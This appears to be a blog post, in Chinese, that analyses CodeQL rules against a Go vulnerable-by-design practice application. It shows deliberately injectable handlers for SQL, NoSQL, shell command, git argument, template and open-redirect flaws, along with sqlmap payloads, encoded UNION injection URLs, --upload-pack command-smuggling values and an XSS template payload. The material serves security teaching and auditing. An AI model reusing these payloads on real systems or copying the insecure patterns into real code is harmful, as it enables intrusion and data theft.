Go代码审计(Codeql)

Codeql 规则go靶场分析

Codeql 规则靶场分析

SQL注入

package 函数
database/sql Query,QueryRow,QueryContext,QueryRowContext
gorm Exec,Raw,Select,Where
xorm Query,QueryString,SQL,Where,And

整型注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1415=1415
Vector: AND [INFERENCE]

Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1 AND GTID_SUBSET(CONCAT(0x716a716271,(SELECT (ELT(7204=7204,1))),0x716a6a7871),7204)
Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 4617 FROM (SELECT(SLEEP(5)))XCtJ)
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-3115 UNION ALL SELECT CONCAT(0x716a716271,0x7359555345596f76505465414d51497863706873574b647876487a497348465a545164426c496248,0x716a6a7871),NULL,NULL-- -
Vector: UNION ALL SELECT [QUERY],NULL,NULL-- -
---

1
2
import (
"database/sql")

顾名思义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
func (c *SqlInjectionVuln1Controller) Get() {
id := c.GetString("id")
db, err := sql.Open("mysql", source)
if err != nil {
panic(err)
}
err = db.Ping()
if err != nil {
panic(err)
}
defer db.Close()
sqlStr := fmt.Sprintf("select * from user where id=%s", id)
user := models.User{}
err = db.QueryRow(sqlStr).Scan(&user.Id, &user.Username, &user.Password)
if err != nil {
panic(err)
}
output, err := json.Marshal(user)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(output)
}
sqlStr := fmt.Sprintf("select * from user where id=%s", id)
user := models.User{}
err = db.QueryRow(sqlStr).Scan(&user.Id, &user.Username, &user.Password)

字符型注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: username (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: username=admin" AND 2486=2486#
Vector: AND [INFERENCE]#

Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: username=admin" AND GTID_SUBSET(CONCAT(0x71706b7171,(SELECT (ELT(9032=9032,1))),0x717a716b71),9032)-- OyBK
Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin" AND (SELECT 5078 FROM (SELECT(SLEEP(5)))GpnN)-- Jwsu
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: username=-7975" UNION ALL SELECT CONCAT(0x71706b7171,0x527271564d4172474644584347534758526d4e786a7248705245536365645a73764f6a77476a4a4e,0x717a716b71),NULL,NULL#
Vector: UNION ALL SELECT [QUERY],NULL,NULL#
---
func (c *SqlInjectionVuln2Controller) Get() {
username := c.GetString("username")
db, err := sql.Open("mysql", source)
if err != nil {
panic(err)
}
err = db.Ping()
if err != nil {
panic(err)
}
defer db.Close()
sqlStr := fmt.Sprintf("select * from user where username=\"%s\"", username)
user := models.User{}
err = db.QueryRow(sqlStr).Scan(&user.Id, &user.Username, &user.Password)
if err != nil {
panic(err)
}
output, err := json.Marshal(user)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(output)
}

同理

1
2
3
sqlStr := fmt.Sprintf("select * from user where username=\"%s\"", username)
user := models.User{}
err = db.QueryRow(sqlStr).Scan(&user.Id, &user.Username, &user.Password)

github.com/go-xorm/xorm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
func (c *SqlInjectionVuln3Controller) Get() {
username := c.GetString("username")
field := c.GetString("field")
engine, err := xorm.NewEngine("mysql", source)
if err != nil {
panic(err)
}
engine.ShowSQL(true)
user := models.User{}
session := engine.Prepare().And(fmt.Sprintf("%s like ?", field), username)
ok, err := session.Get(&user)
if !ok && err != nil {
panic(err)
}
output, err := json.Marshal(user)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(output)
}

xorm错误使用

1
2
3
4
5
6
7
8
engine, err := xorm.NewEngine("mysql", source)
if err != nil {
panic(err)
}
engine.ShowSQL(true)
user := models.User{}
session := engine.Prepare().And(fmt.Sprintf("%s like ?", field), username)
ok, err := session.Get(&user)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
engine1 := xorm1.Engine{}
engine1.Query(query) // $ querystring=query
engine1.QueryString(query) // $ querystring=query
engine1.QueryInterface(query) // $ querystring=query
engine1.SQL(query) // $ querystring=query
engine1.Where(query) // $ querystring=query
engine1.Alias(query) // $ querystring=query
engine1.NotIn(query) // $ querystring=query
engine1.In(query) // $ querystring=query
engine1.Select(query) // $ querystring=query
engine1.SetExpr(query, nil) // $ querystring=query
engine1.OrderBy(query) // $ querystring=query
engine1.Having(query) // $ querystring=query
engine1.GroupBy(query) // $ querystring=query

github.com/Masterminds/squirrel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// http://127.0.0.1:233/sqlInjection/generator/vuln/squirrel?order=id%20AND%20GTID_SUBSET(CONCAT(0x7171717071%2C(MID((IFNULL(CAST(CURRENT_USER()%20AS%20NCHAR)%2C0x20))%2C1%2C190))%2C0x71717a7071)%2C6738)&username=admin
func (c *SqlInjectionVuln4Controller) Get() {
username := c.GetString("username")
order := c.GetString("order")
db, err := sql.Open("mysql", source)
if err != nil {
panic(err)
}
err = db.Ping()
if err != nil {
panic(err)
}
defer db.Close()
expression := sq.Select("*").From("user").Where(sq.Eq{"username": username}).OrderBy(order)
sqlStr, args, err := expression.ToSql()
fmt.Println(sqlStr)
if err != nil {
panic(err)
}
user := models.User{}
err = db.QueryRow(sqlStr, args...).Scan(&user.Id, &user.Username, &user.Password)
if err != nil {
panic(err)
}
output, err := json.Marshal(user)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(output)
}
1
2
3
4
5
func squirrelTest(querypart string) {
squirrel.Select("*").From("users").Where(squirrel.Expr(querypart)) // $ querystring=querypart
squirrel.Select("*").From("users").Where(querypart) // $ querystring=querypart
squirrel.Select("*").From("users").Suffix(querypart) // $ querystring=querypart
}

github.com/uptrace/bun

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// http://127.0.0.1:233/sqlInjection/generator/vuln/bun?username=admin'%20UNION%20ALL%20SELECT%20NULL%2CCONCAT(0x717a707071%2CIFNULL(CAST(CURRENT_USER()%20AS%20CHAR)%2C0x20)%2C0x71716a6271)%2CNULL--%20-
func (c *SqlInjectionVuln5Controller) Get() {
username := c.GetString("username")
db, err := sql.Open("mysql", source)
if err != nil {
panic(err)
}
bundb := bun.NewDB(db, mysqldialect.New())
ctx := context.Background()
// 构造可能导致 SQL 注入的查询
query := fmt.Sprintf("SELECT * FROM user WHERE username = '%s' ", username)
var users []Users
err = bundb.NewRaw(query).Scan(ctx, &users)
if err != nil {
panic(err)
}
output, err := json.Marshal(users)
c.Ctx.ResponseWriter.Write(output)
//db := bun.NewDB(sqlite, sqlitedialect.New())
//bun.NewRawQuery(db, untrusted)
//
//db.ExecContext(ctx, untrusted)
//db.PrepareContext(ctx, untrusted)
//db.QueryContext(ctx, untrusted)
//db.QueryRowContext(ctx, untrusted)
//
//db.Exec(untrusted)
//db.NewRaw(untrusted)
//db.Prepare(untrusted)
//db.Query(untrusted)
//db.QueryRow(untrusted)
//db.Raw(untrusted)
//
//db.NewSelect().ColumnExpr(untrusted)
//db.NewSelect().DistinctOn(untrusted)
//db.NewSelect().For(untrusted)
//db.NewSelect().GroupExpr(untrusted)
//db.NewSelect().Having(untrusted)
//db.NewSelect().ModelTableExpr(untrusted)
//db.NewSelect().OrderExpr(untrusted)
//db.NewSelect().TableExpr(untrusted)
//db.NewSelect().Where(untrusted)
//db.NewSelect().WhereOr(untrusted)
}

github.com/jinzhu/gorm

//go:generate depstubber -vendor github.com/jinzhu/gorm DB

//go:generate depstubber -vendor gorm.io/gorm DB

https://gorm.io/zh_CN/docs/security.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// http://127.0.0.1:233/sqlInjection/generator/vuln/gorm?username=admin'%20UNION%20ALL%20SELECT%20NULL%2CCONCAT(0x717a707071%2CIFNULL(CAST(CURRENT_USER()%20AS%20CHAR)%2C0x20)%2C0x71716a6271)%2CNULL--%20-
func (c *SqlInjectionVuln6Controller) Get() {
username := c.GetString("username")
db, err := sql.Open("mysql", source)
if err != nil {
panic(err)
}
var users []Users
gormDB, err := gorm.Open("mysql", db)
query := fmt.Sprintf("SELECT * FROM user WHERE username = '%s' ", username)
rows, err := gormDB.Raw(query).Rows()
if err != nil {
panic(err)
}
defer rows.Close()
for rows.Next() {
var user Users
gormDB.ScanRows(rows, &user)
users = append(users, user)
}
output, err := json.Marshal(users)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(output)

//db1 := gorm1.DB{}
//db1.Where(untrusted)
//db1.Raw(untrusted)
//db1.Not(untrusted)
//db1.Order(untrusted)
//db1.Or(untrusted)
//db1.Select(untrusted)
//db1.Table(untrusted)
//db1.Group(untrusted)
//db1.Having(untrusted)
//db1.Joins(untrusted)
//db1.Exec(untrusted)
//db1.Pluck(untrusted, nil)

}

github.com/rqlite/gorqlite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package main

//go:generate depstubber -vendor github.com/rqlite/gorqlite Connection Open

import (
"github.com/rqlite/gorqlite"
)

func gorqlitetest(sql string, sqls []string) {
conn, _ := gorqlite.Open("dbUrl")
conn.Query(sqls) // $ querystring=sqls
conn.Queue(sqls) // $ querystring=sqls
conn.Write(sqls) // $ querystring=sqls
conn.QueryOne(sql) // $ querystring=sql
conn.QueueOne(sql) // $ querystring=sql
conn.WriteOne(sql) // $ querystring=sql
}
func main() {
return
}

github.com/go-pg/pg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package main

//go:generate depstubber -vendor github.com/go-pg/pg Conn,DB,Tx Q
//go:generate depstubber -vendor github.com/go-pg/pg/orm Query Q
//go:generate depstubber -vendor github.com/go-pg/pg/v9 Conn,DB,Tx Q

import (
"github.com/go-pg/pg"
"github.com/go-pg/pg/orm"
newpg "github.com/go-pg/pg/v9"
)

func pgtest(query string, conn pg.Conn, db pg.DB, tx pg.Tx) {
pg.Q(query) // $ querystring=query
var dst []byte
conn.FormatQuery(dst, query) // $ querystring=query
conn.Prepare(query) // $ querystring=query
db.FormatQuery(dst, query) // $ querystring=query
db.Prepare(query) // $ querystring=query
tx.FormatQuery(dst, query) // $ querystring=query
tx.Prepare(query) // $ querystring=query
}

// go-pg v9 dropped support for `FormatQuery`
func newpgtest(query string, conn newpg.Conn, db newpg.DB, tx newpg.Tx) {
newpg.Q(query) // $ querystring=query
conn.Prepare(query) // $ querystring=query
db.Prepare(query) // $ querystring=query
tx.Prepare(query) // $ querystring=query
}

func sink(x interface{}) {}

func pgormtest(query string, q orm.Query) {
orm.Q(query) // $ querystring=query
q.ColumnExpr(query) // $ querystring=query
q.For(query) // $ querystring=query
var b []byte
q.FormatQuery(b, query) // $ querystring=query
q.Having(query) // $ querystring=query
q.Where(query) // $ querystring=query
q.WhereInMulti(query) // $ querystring=query
q.WhereOr(query) // $ querystring=query

var formatter orm.Formatter
var sink1 []byte

sink2 := formatter.Append(sink1, "Appended1")
sink3 := formatter.AppendBytes(sink1, []byte("Appended2"))
sink4 := formatter.FormatQuery(sink1, "Query")

sink(sink1) // $ flowfrom=Appended1 $ flowfrom=Appended2 $ flowfrom=Query
sink(sink2) // $ flowfrom=Appended1
sink(sink3) // $ flowfrom=Appended2
sink(sink4) // $ flowfrom=Query
}

github.com/go-pg/pg/v10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package main

import (
"context"
pg "github.com/go-pg/pg/v10"
)

type Profile struct {
ID int
Lang string
}

type User struct {
ID int
Name string
ProfileID int
Profile *Profile `pg:"-"`
}

func getUntrustedString() string {
return "trouble"
}

func main() {

untrusted := getUntrustedString()

ctx := context.Background()
db := pg.Connect(&pg.Options{
Addr: ":5432",
User: "user",
Password: "pass",
Database: "db_name",
})

var version string

db.Exec(untrusted)
db.ExecOne(untrusted)
db.Prepare(untrusted)

db.ExecContext(ctx, untrusted)
db.ExecOneContext(ctx, untrusted)
db.Query(&version, untrusted)
db.QueryOne(&version, untrusted)

db.QueryOneContext(ctx, pg.Scan(&version), untrusted)
db.QueryContext(ctx, &version, untrusted)

var user User
db.Model(&user).
ColumnExpr(untrusted).
Join(untrusted).
Where(untrusted, 123).
OrderExpr(untrusted).
GroupExpr(untrusted).
TableExpr(untrusted).
WhereIn(untrusted, 1).
WhereInMulti(untrusted, 1).
WhereOr(untrusted, 1).
For(untrusted).
Having(untrusted).
Select()
}

github.com/jmoiron/sqlx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// http://127.0.0.1:233/sqlInjection/generator/vuln/sqlx?username=admin'%20UNION%20ALL%20SELECT%20CONCAT(0x716a767671%2CIFNULL(CAST(CURRENT_USER()%20AS%20CHAR)%2C0x20)%2C0x717a6b6271)%2CNULL%2CNULL--%20-
func (c *SqlInjectionVuln7Controller) Get() {
username := c.GetString("username")
sqlxdb, err := sqlx.Open("mysql", source)
if err != nil {
panic(err)
}

var users []Users
query := fmt.Sprintf("SELECT * FROM user WHERE username = '%s'", username)
err = sqlxdb.Select(&users, query)
if err != nil {
panic(err)
}
output, err := json.Marshal(users)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(output)
//db := sqlx.DB{}
//untrusted := getUntrustedString()
//db.Select(nil, untrusted)
//db.Get(nil, untrusted)
//db.MustExec(untrusted)
//db.Queryx(untrusted)
//db.NamedExec(untrusted, nil)
//db.NamedQuery(untrusted, nil)
}

github.com/gogf/gf

1
2
//go:generate depstubber -vendor github.com/gogf/gf/frame/g "" DB
//go:generate depstubber -vendor github.com/gogf/gf/database/gdb DB,Core,TX ""
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// http://127.0.0.1:233/sqlInjection/generator/vuln/gf?username=admin'%20UNION%20ALL%20SELECT%20CONCAT(0x716a767671%2CIFNULL(CAST(CURRENT_USER()%20AS%20CHAR)%2C0x20)%2C0x717a6b6271)%2CNULL%2CNULL--%20-
func (c *SqlInjectionVuln8Controller) Get() {
username := c.GetString("username")
query := fmt.Sprintf("SELECT * FROM user WHERE username = '%s'", username)

result, err := g.DB().Query(query)
if err != nil {
panic(err)
}
defer result.Close()
for result.Next() {
var id int
var username, password string
if err := result.Scan(&id, &username, &password); err != nil {
panic(err)
}
users := Users{
ID: id,
Username: username,
Password: password,
}
output, err := json.Marshal(users)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(output)
}
//func gogfCoreTest(sql string, c *gdb.Core) {
// c.Exec(sql, nil) // $ querystring=sql
// c.GetAll(sql, nil) // $ querystring=sql
// c.GetArray(sql, nil) // $ querystring=sql
// c.GetCount(sql, nil) // $ querystring=sql
// c.GetOne(sql, nil) // $ querystring=sql
// c.GetValue(sql, nil) // $ querystring=sql
// c.Prepare(sql, true) // $ querystring=sql
// c.Query(sql, nil) // $ querystring=sql
// c.Raw(sql, nil) // $ querystring=sql
// c.GetScan(nil, sql, nil) // $ querystring=sql
// c.GetStruct(nil, sql, nil) // $ querystring=sql
// c.GetStructs(nil, sql, nil) // $ querystring=sql
// c.DoCommit(nil, nil, sql, nil) // $ querystring=sql
// c.DoExec(nil, nil, sql, nil) // $ querystring=sql
// c.DoGetAll(nil, nil, sql, nil) // $ querystring=sql
// c.DoQuery(nil, nil, sql, nil) // $ querystring=sql
// c.DoPrepare(nil, nil, sql) // $ querystring=sql
//}

}

NoSql注入

1
2
3
4
//go:generate depstubber -vendor go.mongodb.org/mongo-driver/bson/primitive D
//go:generate depstubber -vendor go.mongodb.org/mongo-driver/mongo Collection,Pipeline
//go:generate depstubber -vendor gopkg.in/couchbase/gocb.v1 Bucket,Cluster
//go:generate depstubber -vendor github.com/couchbase/gocb/v2 Cluster,Scope

use mydb

1
2
3
4
5
db.users.insertOne({
"_id": ObjectId("62416d0404812dbd7c2320b8"),
"username": "user123",
"password": "password123"
})

https://docs.fluidattacks.com/criteria/fixes/go/106/#compliant-code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
func (c *NoSqlInjectionVulnController) Get() {
username := "12123"
password := "12123"

clientOptions := options.Client().ApplyURI("mongodb://localhost:27017")
client, err := mongo.Connect(context.Background(), clientOptions)
if err != nil {
log.Fatal(err)
}
defer client.Disconnect(context.Background())

database := client.Database("mydb")
collection := database.Collection("users")

// 模拟恶意用户输入

// 攻击利用的恶意输入,尝试进行 NoSQL 注入
filter := bson.M{
"username": bson.M{"$ne": username},
"password": bson.M{"$ne": password},
}

// 执行恶意构造的查询
cursor, err := collection.Find(context.Background(), filter)
if err != nil {
log.Fatal(err)
}
defer cursor.Close(context.Background())

var results []bson.M
for cursor.Next(context.Background()) {
var result bson.M
err := cursor.Decode(&result)
if err != nil {
log.Fatal(err)
}
results = append(results, result)
}

if len(results) == 0 {
c.Ctx.ResponseWriter.Write([]byte("No results found for the given username and password"))
} else {
fmt.Println("Results found:")
for _, res := range results {
resultString := fmt.Sprintf("%v\n", res)
c.Ctx.ResponseWriter.Write([]byte(resultString))
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package main

import (
"context"
"github.com/gin-gonic/gin"
"go.mongodb.org/mongo-driver/bson"
"go.mongodb.org/mongo-driver/mongo"
"go.mongodb.org/mongo-driver/mongo/options"
"log"
"net/http"
)

func main() {
client, err := mongo.NewClient(options.Client().ApplyURI("mongodb://localhost:27017"))
if err != nil {
log.Fatal(err)
}

err = client.Connect(context.Background())
if err != nil {
log.Fatal(err)
}

router := gin.Default()

router.POST("/users", func(c *gin.Context) {
var query bson.M
if err := c.ShouldBindJSON(&query); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}

collection := client.Database("mydb").Collection("users")
log.Println(query)
cursor, err := collection.Find(context.Background(), query)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}

var results []bson.M
if err = cursor.All(context.Background(), &results); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}

c.JSON(http.StatusOK, results)
})

router.Run()
}

命令注入

对于命令注入,Golang引擎原生支持识别os/exec相关的函数和结构体,包括exec.Command,exec.CommandContext以及相关实际执行函数CombinedOutput/Output/Run/Start。

package 执行函数
os/exec CombinedOutput,Output,Run,Start

普通注入

1
2
3
4
5
6
7
8
9
10
func (c *CommandInjectVuln1Controller) Get() {
dir := c.GetString("dir")
input := fmt.Sprintf("ls %s", dir)
cmd := exec.Command("bash", "-c", input)
out, err := cmd.CombinedOutput()
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(out)
}

Git参数注入

git参数注入_cve-2017-8386-CSDN博客

https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html

https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/

https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

https://hackerone.com/reports/288704

https://cloud.tencent.com/developer/article/2012711

https://blog.nsfocus.net/git-ssh-cve-2017-1000117/

可以看看

https://juejin.cn/post/7160219769525223460

1
2
3
4
5
6
7
8
9
// /commandInject/vuln/git?repoUrl=--upload-pack=$(open /)
func (c *CommandInjectVuln3Controller) Get() {
repoUrl := c.GetString("repoUrl", "--upload-pack=${touch /tmp/pwnned}")
out, err := exec.Command("git", "ls-remote", repoUrl, "refs/heads/main").CombinedOutput()
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(out)
}

条件

1
2
3
4
5
6
// git ls-remote -h --upload-pack=calc.exe HEAD
// git grep --open-files-in-pager=calc.exe master
// docker build "git@g.com/a/b#--upload-pack=sleep 5;:"
// git clone --recurse-submodules https://github.com/staaldraad/demosub.git
// git fetch origin --upload-pack="touch HELLO2" // git init first or in a git project
// git pull origin --upload-pack="touch HELLO3" // git init first or in a git project

os.StartProcess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package main

import (
"os"
"os/exec"
)

func Start(args ...string) (p *os.Process, err error) {
if args[0], err = exec.LookPath(args[0]); err == nil {
var procAttr os.ProcAttr
procAttr.Files = []*os.File{os.Stdin,
os.Stdout, os.Stderr}
p, err := os.StartProcess(args[0], args, &procAttr)
if err == nil {
return p, nil
}
}
return nil, err
}

func main() {
if proc, err := Start("ping", "-c 3", "www.google.com"); err == nil {
proc.Wait()
}
if proc, err := Start("zsh"); err == nil {
proc.Wait()
}
}

session.CombinedOutput

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// golang.org/x/crypto/ssh
// /CommandInject/vuln/ssh
func (c *CommandInjectVuln5Controller) Get() {
config := &ssh.ClientConfig{
User: "root",
Auth: []ssh.AuthMethod{
ssh.Password(""),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}

// 连接本地 SSH 服务器
client, err := ssh.Dial("tcp", ":22", config)
if err != nil {
log.Fatalf("Failed to dial: %s", err)
}
defer client.Close()

// 创建新会话
session, err := client.NewSession()
if err != nil {
log.Fatalf("Failed to create session: %s", err)
}
defer session.Close()

// 执行本地命令
command := "ls /"
output, err := session.CombinedOutput(command)
//session.Output(command)
//session.Run(command)
//session.Start(command)
if err != nil {
log.Fatalf("Failed to run command: %s", err)
}
c.Ctx.ResponseWriter.Write(output)
}

sh.Command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// github.com/codeskyblue/go-sh
// /CommandInject/vuln/sh?dir=open /
func (c *CommandInjectVuln6Controller) Get() {
shellCommand := c.GetString("dir")
output, err := sh.Command("bash", "-c", shellCommand).Output()

fmt.Println("Command output:")
fmt.Println(string(output))

// 创建交互式会话并执行 shell 命令
session := sh.NewSession()
session.ShowCMD = true

err = session.Command("bash", "-c", shellCommand).Run()
if err != nil {
fmt.Println("Error executing shell command in interactive session:", err)
return
}

}

syscall.Exec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// http://127.0.0.1:233/CommandInject/vuln/syscall
func (c *CommandInjectVuln7Controller) Get() {
source := "/bin/bash"
arg1 := "-c"
arg2 := "open /"
err := syscall.Exec(source, []string{source, arg1, arg2}, []string{})
if err != nil {
fmt.Println("Error executing syscall.Exec:", err)
}
//syscall.StartProcess(source, []string{"arg1", "arg2"}, &syscall.ProcAttr{})
//syscall.StartProcess(shell, []string{source, "arg2"}, &syscall.ProcAttr{})
//shellCommand := c.GetString("dir")

}

模版注入

Go Template包的使用

Go的标准库里有两个模板引擎, 分别是text/template和html/template, 两者接口一致, 区别在于html/template一般用于生成HTML输出, 它会自动转义HTML标签, 用于防范如XSS这样的攻击

sprig

github.com/Masterminds/sprig

输出环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
func (c *SSTIVuln1Controller) Get() {
os.Setenv("go-sec-code-secret-key", "b81024f158eefcf60792ae9df9524f82")
usertemplate := c.GetString("template", "please send your template")
t := template.New("ssti").Funcs(sprig.FuncMap())
t, _ = t.Parse(usertemplate)
buff := bytes.Buffer{}
err := t.Execute(&buff, struct{}{})
if err != nil {
panic(err)
}
data, err := ioutil.ReadAll(&buff)
if err != nil {
panic(err)
}
c.Data["usertemplate"] = string(data)
c.TplName = "ssti.tpl"
}

func (c *SSTISafe1Controller) Get() {
usertemplate := c.GetString("template", "please send your template")
c.Data["usertemplate"] = usertemplate
c.TplName = "ssti.tpl"
}

html/template

image-20250219142323606

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

func (c *SSTIVuln2Controller) Get() {
user := &User{1, "admin", "123456"}
arg := c.GetString("template", "please send your template")
tpl1 := fmt.Sprintf(`<h1>Hi, ` + arg + `</h1> Your name is ` + arg + `!`) //使用Sprintf,将数据进行拼接以后返回纯文本再赋值给tpl1;
html, err := template.New("login").Parse(tpl1) //进行模板渲染
//这里创建一个名为 "login" 的模板,并将模板字符串 tpl1 解析到该模板中。template.New()函数作用是创建一个新的模板,Parse()是用于解析模板字符串。
html = template.Must(html, err)
c.Ctx.ResponseWriter.Header().Set("Content-Type", "text/html")
html.Execute(c.Ctx.ResponseWriter, user)
}

func (c *SSTISafe2Controller) Get() {
user := &User{1, "admin", "123456"}
arg := c.GetString("template", "please send your template")
arg = template.HTMLEscapeString(arg)
tpl1 := fmt.Sprintf(`<h1>Hi, ` + arg + `</h1> Your name is ` + arg + `!`) //使用Sprintf,将数据进行拼接以后返回纯文本再赋值给tpl1;
data := map[string]string{
"arg": arg,
"Name": user.Name,
}
html, err := template.New("login").Parse(tpl1) //进行模板渲染
//这里创建一个名为 "login" 的模板,并将模板字符串 tpl1 解析到该模板中。template.New()函数作用是创建一个新的模板,Parse()是用于解析模板字符串。
html = template.Must(html, err)
c.Ctx.ResponseWriter.Header().Set("Content-Type", "text/html")
html.Execute(c.Ctx.ResponseWriter, data)
}

xss

1
2
{{print "<script>alert(/xss/)</script>"}}
{{%22%3Cscript%3Ealert(/xss/)%3C/script%3E%22}}

信息泄露

结构体是Go中一个非常重要的类型,Go通过结构体来类比一个对象,因此他的字段就是一个对象的属性。通常Json的编码和解析都需要通过结构体来实现,加之模板渲染支持传入一个结构体的实例来渲染它的字段,这就造成了信息泄漏的可能。

image-20250219142419993

rce

image-20250219142428650

需要给对象定义⚠️方法

重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// http://127.0.0.1:233/OpenUrlRedict/vuln?url=http://baidu.com
func (c *OpenUrlRedictVulnController) Get() {
url := c.GetString("url")
//c.Ctx.ResponseWriter.Header().Set("Content-Type", "application/javascript")
c.Ctx.Redirect(302, url)
}

//http://127.0.0.1:233/OpenUrlRedict/safe?url=http://semmle.com
func (c *OpenUrlRedictSafeController) Get() {
redicturl := c.GetString("url")
target, err := url.Parse(redicturl)
if err != nil {
c.Ctx.ResponseWriter.Write([]byte("error"))
}
if target.Hostname() == "semmle.com" {
// GOOD: checking hostname
c.Ctx.Redirect(302, target.String())
} else {
c.Ctx.ResponseWriter.Write([]byte("evil input"))
}
}

cors

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
func (c *CorsVuln1Controller) Get() {
origin := c.Ctx.Request.Header.Get("Origin")
c.Ctx.ResponseWriter.Header().Set("Access-Control-Allow-Origin", origin)
c.Ctx.ResponseWriter.Header().Set("Access-Control-Allow-Methods", "POST, GET, OPTIONS, PUT, DELETE, UPDATE")
c.Ctx.ResponseWriter.Header().Set("Access-Control-Allow-Headers", "Origin, X-Requested-With, X-Extra-Header, Content-Type, Accept, Authorization")
c.Ctx.ResponseWriter.Header().Set("Access-Control-Expose-Headers", "Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Cache-Control, Content-Language, Content-Type")
c.Ctx.ResponseWriter.Header().Set("Access-Control-Allow-Credentials", "true")
jsonp := make(map[string]interface{})
jsonp["username"] = "admin"
jsonp["password"] = "admin@123"
data, err := json.Marshal(jsonp)
if err != nil {
panic(err)
}
c.Ctx.ResponseWriter.Write(data)
}

func (c *CorsVuln2Controller) Get() {
c.Ctx.ResponseWriter.Header().Set("Access-Control-Allow-Origin", "*")
